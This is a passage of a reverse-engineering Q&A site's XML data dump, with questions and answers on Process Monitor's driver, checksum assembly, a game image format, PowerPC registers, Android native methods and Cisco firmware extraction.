}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28729" LastEditorUserId="28729" LastEditDate="2019-08-22T08:29:52.217" LastActivityDate="2019-08-22T08:29:52.217" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21957" PostTypeId="1" AcceptedAnswerId="21960" CreationDate="2019-08-22T09:31:17.763" Score="0" ViewCount="463" Body="&lt;p&gt;I need help. I am reversing &lt;code&gt;Procmon64.exe&lt;/code&gt; file. &#xA;It drops &lt;code&gt;procmon.Sys&lt;/code&gt; filesystem minifilter driver which does monitoring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question:&#xA;I need to know if filtering of events is done in user-mode or kernel-mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hypothesis is that all events are sent to user-mode application and then are filtered and displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now i breakpointed procedure that calls &lt;code&gt;FilterGetMessage&lt;/code&gt; but can't figure out if it returns all events or just filtered events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You.&lt;/p&gt;&#xA;" OwnerUserId="29388" LastActivityDate="2019-08-22T16:17:44.113" Title="Info on ProcMon from SysInternals" Tags="|windows|driver|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21958" PostTypeId="2" ParentId="21953" CreationDate="2019-08-22T13:52:14.627" Score="4" Body="&lt;p&gt;I found the answer to my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EAX is arbitrary, as are the values added to it from [ESI].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function I'm reversing is a calculating a 16-bit checksum after adding together data, in the manner you see above, and then folding the result in EAX to AX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some more research and found &lt;a href=&quot;https://barrgroup.com/Embedded-Systems/How-To/Additive-Checksums&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt; on Additive Checksums. The one I'm looking at is similar to The Internet Checksum described there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of consecutive ADC instructions in this case looks like an optimisation made available only at the assembly level. The checksum is performing ones compliment addition multiple times. Another way to perform the same operations, only with ADD, would be to let the carry bits accumulate in the upper half of the register and then add them back to the lower half at the end.&lt;/p&gt;&#xA;" OwnerUserId="24439" LastActivityDate="2019-08-22T13:52:14.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21959" PostTypeId="2" ParentId="13221" CreationDate="2019-08-22T14:55:56.860" Score="4" Body="&lt;p&gt;I was able to decode the images. &lt;em&gt;Spektre&lt;/em&gt; did a great job detecting the files structure, and the debug view was really helpful in the process. I implemented the algorithm in JS, and the source code is available here: &lt;a href=&quot;https://github.com/K-Adam/DrekDecoder&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/K-Adam/DrekDecoder&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Summary&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Each line starts with a flag byte. It tells the decoder how many pixels to write and which mode to use. There are three possible write modes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Opaque&lt;/li&gt;&#xA;&lt;li&gt;Transparent&lt;/li&gt;&#xA;&lt;li&gt;Skip&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In opaque mode each pixel is represented by one byte, which references an RGB color in the palette. In transparent mode, the pixels are pairs of bytes: [Alpha, ColorIndex]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After each sequence a control byte follows. Its structure is different from the flag byte, and also different in each writing mode. This control byte will tell how many pixels to write and which mode to use next, or if the end of the line is reached.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Details&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Flag byte&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the flag is zero &lt;code&gt;(flag == 0x0)&lt;/code&gt;, then the line is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the LSB is set &lt;code&gt;(flag &amp;amp; 0b1)&lt;/code&gt; then there is an offset at the beginning of the line, and the decoder will start in &lt;em&gt;Skip&lt;/em&gt; mode. The rest of the bits will represent the length of the offset &lt;code&gt;(flag &amp;gt;&amp;gt; 1) + 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the second bit is set then transparent, otherwise opaque mode will be used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mode = (flag &amp;amp; 0b10) ? Transparent : Opaque&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The number of pixels can be found in the 5 MSB &lt;code&gt;(flag &amp;gt;&amp;gt; 3) + 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Skip mode&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decoder will simply write &lt;code&gt;n&lt;/code&gt; empty pixels to the output. The next byte will be a control byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If LSB is set, then the decoder will switch to transarent mode. The other 7 bits represent the number of transparent pixels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the three LSB is &lt;code&gt;0b100&lt;/code&gt; then the decoder will continue in &lt;em&gt;Skip&lt;/em&gt; mode, otherwise it will change to &lt;em&gt;Opaque&lt;/em&gt; mode. The other bits represent the number of pixels &lt;code&gt;(vv &amp;gt;&amp;gt; 3) + 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Opaque mode&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each data byte references an RGB color in the palette.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the LSB is set, then the decoder will switch to transparent mode for &lt;code&gt;(v1 &amp;gt;&amp;gt; 1) + 1&lt;/code&gt; pixels. Otherwise the three LSB of the control byte is the flag:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0b000 End of line&lt;/li&gt;&#xA;&lt;li&gt;0b110 Continue in opaque mode&lt;/li&gt;&#xA;&lt;li&gt;0b100 Switch to skip mode&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The rest is the number of pixels &lt;code&gt;(v1 &amp;gt;&amp;gt; 3) + 1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Transparent mode&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transparent blocks are represented by sequence of pairs: [Alpha, Color]. The 5 MSB of the alpha byte is the transparency (0-32). The color byte references an RGB color in the palette.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two LSB of the control byte is a flag:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0b10 End of the line&lt;/li&gt;&#xA;&lt;li&gt;0b11 Switch to opaque mode&lt;/li&gt;&#xA;&lt;li&gt;0b01 Switch to skip mode&lt;/li&gt;&#xA;&lt;li&gt;0b00 Continue in transparent mode&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The rest of the bits is the number of pixels &lt;code&gt;(v1 &amp;gt;&amp;gt; 2) + 1&lt;/code&gt;, except for transparent mode, where it is &lt;code&gt;(v1 &amp;gt;&amp;gt; 3) + 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Decoding process&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since the colors are referenced by index, two bytes are needed to represent a transparent pixel. By looking at the bottom-left part of the mountain, it was clear from those alternating patterns, that it has to be transparent there. The colors around the round icons were also not right, so I suspected that the outer pixels are half transparent as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the large image &lt;code&gt;0xFE&lt;/code&gt; appears after each 32 bytes. It does not reference a color from the palette, so it has to be some kind of control byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I started to write down the bytes in binary, where the color seemed not right. I grouped these values by where by where they appear, and then I spotted, that the least significant bits are similar on the boundary of transparent and opaque regions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After further analysis, when I was able to decode the smaller icons by hand, I implemented the algorithm, and tested it for larger ones. From there, it was easy to eliminate the remaining anomalies in the result.&lt;/p&gt;&#xA;" OwnerUserId="29393" LastActivityDate="2019-08-22T14:55:56.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21960" PostTypeId="2" ParentId="21957" CreationDate="2019-08-22T16:17:44.113" Score="0" Body="&lt;p&gt;Most likely the driver only monitors events and send messages to user mode. This approach is used in Microsoft  driver samples.&#xA;If I remember correctly - that it is:&#xA;&lt;a href=&quot;https://github.com/microsoft/Windows-driver-samples/blob/master/filesys/miniFilter/scanner&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/microsoft/Windows-driver-samples/blob/master/filesys/miniFilter/scanner&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it is good example to understand mini-filter driver and user mode app communication.&lt;/p&gt;&#xA;" OwnerUserId="29175" LastActivityDate="2019-08-22T16:17:44.113" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21961" PostTypeId="2" ParentId="21924" CreationDate="2019-08-22T16:31:53.640" Score="-1" Body="&lt;p&gt;I used &lt;a href=&quot;https://ntcore.com/?page_id=388&quot; rel=&quot;nofollow noreferrer&quot;&gt;Explorer Suite&lt;/a&gt; for patching IAT.&lt;/p&gt;&#xA;" OwnerUserId="29175" LastEditorUserId="245" LastEditDate="2020-05-18T19:20:07.237" LastActivityDate="2020-05-18T19:20:07.237" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21962" PostTypeId="2" ParentId="21944" CreationDate="2019-08-22T19:03:01.100" Score="7" Body="&lt;p&gt;First, a bit of background on why these registers are needed. PPC is a RISC-like ISA, in that all instructions are of the same size (32 bits) and there is limited space for immediate values (usually 16 bits at most) that you would use for things like addresses. So how do you address more that 16 bits?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option is to build addresses by 16-bit slices, e.g. something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; lis     r4,msg@ha     # load top 16 bits of &amp;amp;msg&#xA; addi    r4,r4,msg@l   # add bottom 16 bits&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another is to use PIC (position-independent code) to address things relative to current address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  bcl 20, 4*cr7+so, loc_picbase #branch and link to next location &#xA;loc_picbase:&#xA;  mflr      r31 # load link register (lr) into r31. It will be equal to loc_picbase&#xA;  addis     r2, r31, (_NXArgc - loc_picbase)@ha&#xA;  stw       r28, (_NXArgc - loc_picbase)@l(r2)&#xA;  &amp;lt;and so on&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, using either of these requires multiple instructions per data access and is not always feasible (e.g. first variant would require patching instructions if binary needs to be relocated which can't be done when running read-only code). So on some platforms they came up with the concept of TOC (Table of Contents), which is a fixed register having the same value for the whole module and from which all data is addressed using an offset. The register &lt;code&gt;r2&lt;/code&gt; was reserved for this purpose and AFAIK is supposed to be set by the OS loader. Since offsets in PPC instructions are limited to 16 bits (-32768 to +32767), you can address about 64K of data around &lt;code&gt;r2&lt;/code&gt; (which is usually placed in the middle of the data area for maximum coverage). If the module needs more data, offsets bigger than 16 bits are constructed in several steps, or multiple TOCs may be used (in this case different functions may use different TOCs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In PPC64 ABI, the latter is achieved by so-called &lt;em&gt;function descriptors&lt;/em&gt; which is pairs of pointers where one is the address of the function's code and the other is the TOC value expected by the function. Any time a function is called, the TOC is loaded from the descriptor before jumping to the function's code (unless the compiler knows that the target function uses the same TOC value, in which case the TOC reload can be skipped).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In embedded environment, there is usually no OS but a monolithic firmware, and this concept is applied to the whole firmware by using register &lt;code&gt;r13&lt;/code&gt; for SDA (Small Data Area) and, if necessary, &lt;code&gt;r2&lt;/code&gt; for an additional data region (SDA2 -Small Data Area 2). A so-called Zero data area (ZDA) may be also used for data placed near the address 0 (using special addressing modes from register &lt;code&gt;r0&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some compilers (notably Green Hills) support additional data pointers (&lt;code&gt;r14&lt;/code&gt;, &lt;code&gt;r15&lt;/code&gt; etc.). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In embedded environment, the data registers (&lt;code&gt;r2&lt;/code&gt;, &lt;code&gt;r13&lt;/code&gt; etc.) should be initialized in the startup code, shortly after reset, as the rest of the firmware usually expects them to have proper values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. usage of &lt;code&gt;r2&lt;/code&gt; depends on the environment. It's quite possible that the target environment you're compiling for does not use TOC so you don't see it used (stack pointer on PowerPC is &lt;code&gt;r1&lt;/code&gt;, not &lt;code&gt;r2&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some references:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.ibm.com/developerworks/library/l-ppc/index.html&quot; rel=&quot;noreferrer&quot;&gt;Introduction to assembly on the PowerPC (IBM)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devpit.org/wiki/Debugging_PowerPC_ELF_Binaries&quot; rel=&quot;noreferrer&quot;&gt;Debugging PowerPC ELF Binaries (Devpit)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://refspecs.linux-foundation.org/elf/elfspec_ppc.pdf&quot; rel=&quot;noreferrer&quot;&gt;System V Application Binary Interface PowerPC™ Processor Supplement&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.nxp.com/assets/documents/data/en/application-notes/PPCEABI.pdf&quot; rel=&quot;noreferrer&quot;&gt;PowerPC Embedded Application Binary Interface&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://refspecs.linuxfoundation.org/ELF/ppc64/PPC-elf64abi.pdf&quot; rel=&quot;noreferrer&quot;&gt;64-bit PowerPC ELF Application Binary Interface Supplement&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-08-22T19:03:01.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21963" PostTypeId="1" CreationDate="2019-08-22T19:39:29.087" Score="1" ViewCount="81" Body="&lt;p&gt;I decompiled an Android game APK to look at the source code / resources and the .pngs give me the error &quot;It looks like we don't support this file format&quot; when I try to view them in the Photos App. I've tried decompiling with Apktool and just changing the extension to .zip but still no luck. Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="29395" LastEditorUserId="13506" LastEditDate="2019-08-24T21:14:37.990" LastActivityDate="2019-08-24T21:14:37.990" Title="(Help) APK Decomplied unreadable .pngs" Tags="|decompilation|apk|decompile|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21964" PostTypeId="1" CreationDate="2019-08-22T22:51:48.820" Score="1" ViewCount="194" Body="&lt;p&gt;I need to make reverse engineering of one android app.&#xA;In this app I found class with name Im2MessageNative, this class contains a lot of native methods.&#xA;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static native long createMessageWrite(int i);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to find an implementation of the method using the Ida Pro. To do this, I opened a tab with strings, then search for phrase &quot;createMessageWrite&quot;, next I opened memory address and found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rodata:00B29B29 aCreatemessagew DCB &quot;createMessageWrite&quot;,0&#xA;.rodata:00B29B29                                         ; DATA XREF: &#xA;.data:00DDC4CC↓o&#xA;.rodata:00B29B29                                         ; .data:00DDC4D8↓o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was looking for a &quot;aCreatemessagew&quot;, but could not find any function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to find the implementation of this native method?&lt;/p&gt;&#xA;" OwnerUserId="29396" LastActivityDate="2019-08-22T22:51:48.820" Title="How to find implementation of native method in the library .so (Android)" Tags="|ida|decompilation|android|libraries|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21965" PostTypeId="1" CreationDate="2019-08-23T22:02:48.577" Score="1" ViewCount="1384" Body="&lt;p&gt;I tried debugging an running a program via ida64 and it says permission denied please reopen with elevated permission. I am on a mac please tell me how to fix this&lt;a href=&quot;https://i.stack.imgur.com/fiOeg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fiOeg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29404" LastEditorUserId="29404" LastEditDate="2019-08-24T20:09:20.697" LastActivityDate="2019-08-24T20:09:20.697" Title="Ida permission error" Tags="|ida|debuggers|error|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21966" PostTypeId="1" CreationDate="2019-08-24T11:40:09.667" Score="3" ViewCount="2684" Body="&lt;p&gt;I download &lt;a href=&quot;http://www.nirsoft.net/utils/cports.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;CurrPort&lt;/a&gt; program and run it on xdbg64.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I pressed &lt;code&gt;File -&amp;gt; Changed Command line&lt;/code&gt; and changed the command line to:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;C:\Users\myusername\Downloads\cport\cports.exe&quot; &quot;/close * * 127.0.0.1 6666&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I received an error:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KIcse.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KIcse.png&quot; alt=&quot;an &quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why it happens and how to solve it ?&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2021-05-18T14:07:15.770" Title="When trying to change command line, received an error: &quot;Could not set command line!&quot;" Tags="|x64dbg|command-line|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21967" PostTypeId="2" ParentId="21966" CreationDate="2019-08-24T14:13:44.797" Score="1" Body="&lt;p&gt;I don't know why it happens, but let's try to debug it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run cmd.exe, type your command to there and press Enter - if it doesn't work, a problem in wrong path/args;&lt;/li&gt;&#xA;&lt;li&gt;Run x64dbg, open your app, go to an editing command line and put there only one argument; Then go to Debug tab and press restart;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also, you can try to set cmd-line initing step, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;x64_dgb &quot;C:\FullPathTo\File.exe&quot; parm1 parm2 -3 -4 -debug&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="29175" LastActivityDate="2019-08-24T14:13:44.797" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21968" PostTypeId="1" CreationDate="2019-08-25T00:35:10.060" Score="3" ViewCount="1058" Body="&lt;p&gt;I'm using Termux(root) on LineageOS 16 (Android 9) with radare2 (v3.6.0 linux-arm32). When i attach to a process with 'r2 -d pid' the app freezes properly but doesn't continue with 'dc'. I'm not sure in which condition the debugger is exactly but when i try to step in code (F7/F8 in visual) some errors are flickering (SIGILL somewhat..). The Zygote instance (we are connected to) seems to be corrupted by r2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On IDA you attach the remote debugger (android_server) to the pid and you'll land somewhere in the code, can set breakpoints, continue execution and so on. I'm trying to achieve the same with r2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it meant to be done to debug Android native code with radare2 at runtime (dynamic analysis)?&lt;/p&gt;&#xA;" OwnerUserId="25043" LastActivityDate="2020-06-19T15:06:20.543" Title="Radare2 - How to debug Android native code (dynamic analysis)?" Tags="|debugging|radare2|android|dynamic-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21969" PostTypeId="1" AcceptedAnswerId="21970" CreationDate="2019-08-25T02:09:59.987" Score="1" ViewCount="654" Body="&lt;p&gt;I download firmware&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://software.cisco.com/download/home/284973404/type/284971397/release/1.1.4.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I extract with binwalk&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install -y binwalk'&#xA;binwalk -eM Sx220-R1.1.4.1.bin&#xA;cd _Sx220-R1.1.4.1.bin-0.extracted/_vmlinux_org.bin.extracted/_28A000.extracted/cpio-root&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I work with sqfs.img, want mount or extract&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See file command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file sqfs.img&#xA;sqfs.img: data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try mount&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo mount -o loop sqfs.img sqfs&#xA;mount: cpio-root/sqfs: wrong fs type, bad option, bad superblock on &#xA;/dev/loop2, missing codepage or helper program, or other error.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See fdisk -l&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ fdisk -l sqfs.img&#xA;Disk sqfs.img: 5 MiB, 5193728 bytes, 10144 sectors&#xA;Units: sectors of 1 * 512 = 512 bytes&#xA;Sector size (logical/physical): 512 bytes / 512 bytes&#xA;I/O size (minimum/optimal): 512 bytes / 512 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See parted&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo parted sqfs.img&#xA;GNU Parted 3.2&#xA;Using cpio-root/sqfs.img&#xA;Welcome to GNU Parted! Type 'help' to view a list of commands.&#xA;(parted) print&#xA;Error: cpio-root/sqfs.img: unrecognised disk&#xA;label&#xA;Model:  (file)&#xA;Disk cpio-root/sqfs.img: 5194kB&#xA;Sector size (logical/physical): 512B/512B&#xA;Partition Table: unknown&#xA;Disk Flags:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I read&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6720/how-to-extract-n150r-firmware-from-img-file&quot;&gt;How to extract N150R firmware from .img file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try dd&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ dd if=sqfs.img of=file.squashfs bs=192 skip=1&#xA; 27049+1 records in&#xA; 27049+1 records out&#xA; 5193536 bytes (5.2 MB, 5.0 MiB) copied, 0.0968263 s, 53.6 MB/s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try mount again&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ sudo mount file.squashfs sqfs/&#xA; mount: _Sx220-R1.1.4.1.bin-0.extracted/_vmlinux_org.bin.extracted/_28A000.extracted/cpio-root/sqfs: wrong fs type, bad option, bad superblock on /dev/loop2, missing codepage or helper program, or other error.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try sasquatch&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sasquatch file.squashfs&#xA;SquashFS version [40316.27519] / inode count [-143619237] suggests a SquashFS image of a different endianess&#xA;Non-standard SquashFS Magic: ▒&amp;lt;W▒&#xA;Reading a different endian SQUASHFS filesystem on file.squashfs&#xA;Filesystem on file.squashfs is (31901:32619), which is a later filesystem version than I support!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can try next?&lt;/p&gt;&#xA;" OwnerUserId="29408" LastActivityDate="2019-08-25T07:01:04.993" Title="Extract Web Contents From Cisco Firmware Data IMG File" Tags="|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21970" PostTypeId="2" ParentId="21969" CreationDate="2019-08-25T04:20:23.093" Score="1" Body="&lt;p&gt;Using &lt;code&gt;binwalk v2.1.2b&lt;/code&gt;, after unpacking the cpio archive &lt;code&gt;28A000&lt;/code&gt;, the squashfs-root file system is available as a directory on my machine. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_Sx220-R1.1.4.1.bin.extracted/_vmlinux_org.bin.extracted/_28A000.extracted $ ls&#xA;5CB1A0.squashfs  CDFB8.squashfs  squashfs-root  squashfs-root-0   &amp;lt;----------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within this directory were folders named &lt;code&gt;cgi&lt;/code&gt; and &lt;code&gt;cgi-bin&lt;/code&gt;, which contain several MIPS Linux ELF32 binaries. I assume this is what you are interested in.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_Sx220-R1.1.4.1.bin.extracted/_vmlinux_org.bin.extracted/_28A000.extracted/squashfs-root/home/web $ ls&#xA;cgi  cgi-bin  css  extHelp  help  home.html  html  images  index.html  js  lang  login.html  logo  mime.types  tmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_Sx220-R1.1.4.1.bin.extracted/_vmlinux_org.bin.extracted/_28A000.extracted/squashfs-root/home/web $ ls cgi/&#xA;get.cgi  httprestorecfg.cgi  httpuploadbakcfg.cgi  httpuploadlang.cgi  httpuploadruncfg.cgi  login.cgi  set.cgi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Please check your version of &lt;code&gt;binwalk&lt;/code&gt;; if it is older than v2.1.2b you need to uninstall your older version and install the current version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current version can be installed by first cloning the &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;binwalk&lt;/code&gt; repository on github&lt;/a&gt; and then following the &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;installation instructions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you may also need to install &lt;a href=&quot;https://github.com/devttys0/sasquatch&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;sasquatch&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2019-08-25T07:01:04.993" LastActivityDate="2019-08-25T07:01:04.993" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21971" PostTypeId="1" AcceptedAnswerId="21975" CreationDate="2019-08-25T10:06:31.503" Score="0" ViewCount="80" Body="&lt;p&gt;I try to understand what data types are read from a byte array. These methods seem to follow a common pattern:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public class Reader {&#xA;&#xA;    static short readA(byte[] bytes, int i) {&#xA;        int s = ((((short) bytes[i]) &amp;amp; 255) &amp;lt;&amp;lt; 8)&#xA;                | (((short) bytes[i + 1]) &amp;amp; 255);&#xA;        return (short) s;&#xA;    }&#xA;&#xA;    static int readB(byte[] bytes, int i) {&#xA;        return ((bytes[i] &amp;amp; 255) &amp;lt;&amp;lt; 8)&#xA;                | (bytes[i + 1] &amp;amp; 255);&#xA;    }&#xA;&#xA;    static int readC(byte[] bytes, int i) {&#xA;        return ((bytes[i] &amp;amp; 255) &amp;lt;&amp;lt; 24)&#xA;                | ((bytes[i + 1] &amp;amp; 255) &amp;lt;&amp;lt; 16)&#xA;                | ((bytes[i + 2] &amp;amp; 255) &amp;lt;&amp;lt; 8)&#xA;                | (bytes[i + 3] &amp;amp; 255);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does &lt;code&gt;readC&lt;/code&gt; read a signed integer? Does &lt;code&gt;readB&lt;/code&gt; read a signed short? What does &lt;code&gt;readA&lt;/code&gt; read?&lt;/p&gt;&#xA;" OwnerUserId="29409" LastActivityDate="2019-08-25T17:58:52.120" Title="What types are read from byte array?" Tags="|java|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
